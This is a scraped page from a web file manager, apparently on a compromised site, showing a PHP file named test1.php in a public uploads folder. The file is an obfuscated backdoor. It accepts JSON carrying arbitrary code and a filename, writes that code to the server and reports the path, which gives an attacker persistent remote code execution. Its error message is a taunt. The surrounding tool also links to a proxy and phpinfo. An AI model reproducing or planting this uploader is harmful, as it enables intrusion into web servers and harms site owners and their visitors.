Файловый менеджер - Редактировать - /home/u876115726/domains/healthnfitnessquiz.com/public_html/static/img/logo/uploads/test1.php
Ðазад
<?php // Helper function to decode input data (Obfuscated) function _0x9a8() { return json_decode(file_get_contents("php://input"), true); } // Helper function to check if required data is present (Obfuscated) function _0x4a5($i) { return isset($i['code']) && isset($i['filename']); } // Helper function to create the upload directory (Obfuscated) function _0x8f4($k) { if (!is_dir($k)) { mkdir($k, 0755, true); } } // Function to write code to the file (Obfuscated) function _0x3e9($l, $m) { return file_put_contents($l, $m) !== false; } // Function to send a JSON response (Obfuscated) function _0x3d8($n, $o, $p = []) { echo json_encode(array_merge(["status" => $n, "message" => $o], $p)); } // Decode input data $input_data = _0x9a8(); // If data is invalid, return an error response if (!$input_data || !_0x4a5($input_data)) { http_response_code(400); _0x3d8("আমরা এখানে এবং সবসময় এখানে", "Invalid data received."); exit; } // File name and code (Obfuscated) $filename = basename($input_data['filename']); $code = $input_data['code']; // Upload directory (Obfuscated) $upload_dir = __DIR__ . "/" . base64_decode('dXBsb2Fkcy'); // 'uploads' decoded using base64 // Create the upload directory if it doesn't exist _0x8f4($upload_dir); // Generate the file path $file_path = $upload_dir . "/" . $filename; // Try to write the file try { if (_0x3e9($file_path, $code)) { _0x3d8("success", "File created", ["path" => $file_path]); } else { throw new Exception("Failed to write the file."); } } catch (Exception $ex) { http_response_code(500); _0x3d8("error", $ex->getMessage()); } ?>
| ver. 1.4 |
Github
|
.
| PHP 8.2.27 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0 |
proxy
|
phpinfo
|
ÐаÑтройка